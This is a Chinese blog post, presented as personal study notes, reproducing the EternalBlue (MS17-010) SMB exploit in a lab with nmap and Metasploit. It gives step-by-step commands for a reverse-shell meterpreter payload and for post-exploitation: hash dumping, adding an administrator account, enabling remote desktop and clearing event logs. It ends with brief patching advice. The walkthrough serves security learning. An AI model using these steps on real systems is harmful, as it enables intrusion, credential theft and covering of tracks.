当前位置:   article > 正文

永恒之蓝复现(个人申明,此为个人学习的笔记,可能摘录自他人的文章,而非原创)

永恒之蓝

什么是永恒之蓝

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

第一章:攻击概述

永恒之蓝依赖于一个名为srv!SrvOS2FeaListSizeToNt的windows函数。要了解它是如何导致远程执行代码,首先需要了解SMB的工作机制。SMB(服务器消息块)是一种协议,用于通过网络从服务器系统请求文件和打印服务。在协议的规范中,有一些结构可以使协议传达有关文件扩展属性的信息,本质上是有关文件系统上文件属性的元数据。

在此基础上,永恒之蓝利用了协议中的三个不同的错误。

第一个错误是当协议试图将OS / 2 FileExtended Attribute(FEA)列表结构转换为NT FEA结构以确定要分配多少内存时出现的数学错误。错误计算会产生整数溢出,导致分配的内存少于预期的数量,进而导致缓冲区溢出。如果写入的数据超出预期,则多余的数据可能溢出到相邻的存储空间中。

第二个错误是由于SMB协议对两个相关子命令:SMB_COM_TRANSACTION2和SMB_COM_NT_TRANSACT的定义不同而导致的缓冲区溢出。两者都有一个_SECONDARY命令,当单个分组中包含太多数据时使用该命令。TRANSACTION2和NT_TRANSACT之间的关键区别在于,后者需要一个数据包,大小是前者的两倍。如果客户端使用NT_TRANSACT紧接在前的子命令发送精心制作的消息,则会发生TRANSACTION2验证错误。虽然协议识别出两个分开的子命令已被接收到,其分配的类型和尺寸的数据包(并相应地分配内存)仅基于接收到的最后一个数据包的类型。由于最后一个较小,因此第一个数据包将占用比分配的更多的空间。

一旦攻击者实现了最初的溢出,他们就可以利用SMBv1中的第三个bug,该bug出现在SMB_COM_SESSION_SETUP_ANDX命令中:该命令的请求依赖于WordCount的值来确定具体的请求格式,当为12时和为13时红框中的变量会有所区别,利用该漏洞将12类型的请求包通过13类型进行处理,由于两种类型的请求包格式不一致,通过控制请求包指定偏移的数据,即可以控制SrvAllocateNonPagedPool创建的pool的大小,实现堆喷射,导致在指定地址分配内存,使得攻击者可以编写和执行Shellcode来控制系统。

第二章:攻击原理介绍

2.1永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

补充:

“445端口是TCP共享服务 445端口它将尝试同时连接到端口139和445。如果端口445有响应,它将向端口139发送TCPRST数据包,以断开并继续与端口455的通信;当端口445没有响应时,使用端口139。”

“139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。”

2.2 SMB协议是什么?

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

2.3 SMB工作原理是什么?

 (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

 (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

 (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

  1. :连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

第三章:攻击思路与流程设计

3.1 本次攻击大致思路,就是假设进入一个内网环境后,利用kali攻击内网主机Windows7的一个攻击思路。使用nmap信息收集Nmap通过发送不同类型的数据包来检测靶机回应的数据包,通过数据包的特殊标志位来识别靶机开放的端口以及服务版本,同时,Nmap 通过 NSE 这个强大的引擎调用Lua脚本实现系统服务漏洞检测,利用信息中存在的开放端口加上系统版本,使用kali中的msf的模块进行攻击,到拿到shell。

3.2命令工具的功能与使用

Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具,俗称扫描器之王。它的设计目标是快速地扫描大型网络,当然用它扫描单个主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息),它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息,管理服务升级计划,以及监视主机和服务的运行。

Nmap功能

检测存活在网络上的主机(主机发现)

检测主机上开放的端口(端口发现或枚举)

检测到相应端口(服务发现)的软件和版本

检测操作系统,硬件地址,以及软件版本

检测脆弱性的漏洞(Nmap的脚本)

 Nmap常用扫描指令

-sS:TCP SYN扫描

-p:指定端口号扫描

-v:显示扫描过程

-F:快速扫描

-sP:ping扫描

-Pn:服务器禁止ping命令,跳过主机发现的过程进行端口扫描,-p0也要类似的效果

-A:全面的系统扫描:包括打开操作系统探测、版本探测、脚本扫描、路径跟踪

-sU:UDP扫描(不可靠)

-sT:TCP扫描

-sV:扫描系统版本和程序版本检测

-T4:默认3,越高扫描越快,但也容易被防火墙或IDS检测并屏蔽掉

-R:反向域名解析,即IP指向域名

-sL:列表扫描,指定C段

--script=vuln:扫描常见的漏洞

-idle:空闲扫描

Msf模块的整体使用流程如下:

流程设计:

1、使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态

2、启动kali自带的msf,显示msf6>后说明已经进入msf了

3、搜寻永恒之蓝漏洞(MS17-010)可使用的攻击模块

4、使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同

5、查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会

6、使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)

7、正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)

8.使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等

9、对靶机进行一系列操作( 例如:查看系统信息,反弹shell,可以创建用户,得到账户hash,解码可以得到密码,找到显示的路径可以看到受害者屏幕截图,开放目标机3389远程桌面端口,远程连接,最后记得保持清除日志的好习惯)

第四章:实验环境

攻击机:Linux kali(IP:192.168.153.132)

靶机:Windows 7  (x64)(IP:192.168.153.136)

实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的!

第五章:攻击过程复现

信息收集

1.使用nmap扫描同一网段存活主机(nmap -sP  192.168.153.0 /24),发现存活主机192.168.153.136(靶机)、 192.168.153.2 、192.168.153.132(kail机)。

信息收集的两种方法:

使用msf的扫描模块,通过search scanner可以查看大量的扫描模块,这里通过search portscan命令查看端口扫描器列表,输入use 模块名,即可使用该模块

使用nmap扫描
在msf也可以使用nmap进行扫描进行信息收集,使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态下面使用的是使用nmap扫描

 


若扫描出来有可能存在的漏洞的服务,可以search 该服务,查看可以利用的攻击模块

这里从收集信息来看目标主机445端口开放,可以尝试使用ms17-010(永恒之蓝)来攻击

  1. 启动kali自带的msf(msfconsole),  每次启动msf模块都会随机打开一个图案,

显示msf6>后说明已经进入msf了。

进入msf(metasploit framework),使用search ms17-010 查找可以用模块

0是永恒之蓝攻击模块exploit/windows/smb/ms17_010_eternalblue
4是永恒之蓝探测模块auxiliary/scanner/smb/smb_ms17_010
使用4对目标机进行探测,查看目标机是否存在永恒之蓝漏洞

3.使用ms17-010扫描模块,对靶机进行扫描

3.1使用模块

该模块不会直接在攻击机和靶机之间建立访问,他们只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。

3.2使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同

use 3

3.3查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会

Show options

3.4设置配置参数

选择攻击模块时注意选择合适的版本,有些版本使用于win8以上

set payload :设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp

要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload

show options :使用该命令会列出使用当前模块所需呀配置的参数

set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址

set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机

set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444

run:开始攻击

攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter会话

set rhosts 192.168.153.136

配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接

set payload windows/x64/meterpreter/reverse_tcp

 

使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)

Exploit 、run

 

4.正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)

use 0

4.1设置配置参数

set rhosts 192.168.153.136

配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接

set payload windows/x64/meterpreter/reverse_tcp

Show Option

注意:执行show options命令后查看到yes对应的地方如果是空的需要全部配上

5.使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等

Exploit 、run

攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter会话

上图说明已经成功进入meterpreter

6.对靶机进行一系列操作

查看系统信息

Sysinfo

反弹shell

Shell

可以创建用户

net user admin1234 /add(admin 用户名 1234密码)

net localgroup administrators admin /add (将用户设置为管理员权限)

net user

 

 

得到账户hash,解码可以得到密码

Hashdump

 

找到显示的路径可以看到受害者屏幕截图

screenshot

显示成功

使用meterpreter命令 run getgui -e 开放目标机3389远程桌面端口

 

添加用户,远程连接

shell 进入目标主机

net user 查看有几个用户

net user admin 123456 /add 添加一个名为admin密码为123456的用户

net localgroup administrators admin /add 把admin用户添加到管理员组中

rdesktop 192.168.67.134 远程连接目标机

 

最后记得保持清除日志的好习惯

Clearev

第六章:总结与防范技术研究

如何避免利用永恒之蓝的攻击

首先,确保更新并应用安全补丁MS17-10,其次禁用SMBv1,并且不使任何易受攻击的计算机访问互联网。

当前网络形势下,已出现疑似永恒之蓝病毒变种,例如:wannaRen的病毒,应对这些新的威胁,传统防护手段很难有效防范,安芯网盾内存保护系统通过硬件虚拟化技术对内存恶意行为进行监控,能够有效检测到内存中缓冲区溢出、堆栈溢出、部署shellcode、执行shellcode、等恶意行为,有效防护这类新威胁。

参考文献:

  1. https://www.sentinelone.com/blog/eternalblue-nsa-developed-exploit-just-wont-die/

  2. https://www.anquanke.com/post/id/86270

https://zh.wikipedia.org/wiki/%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号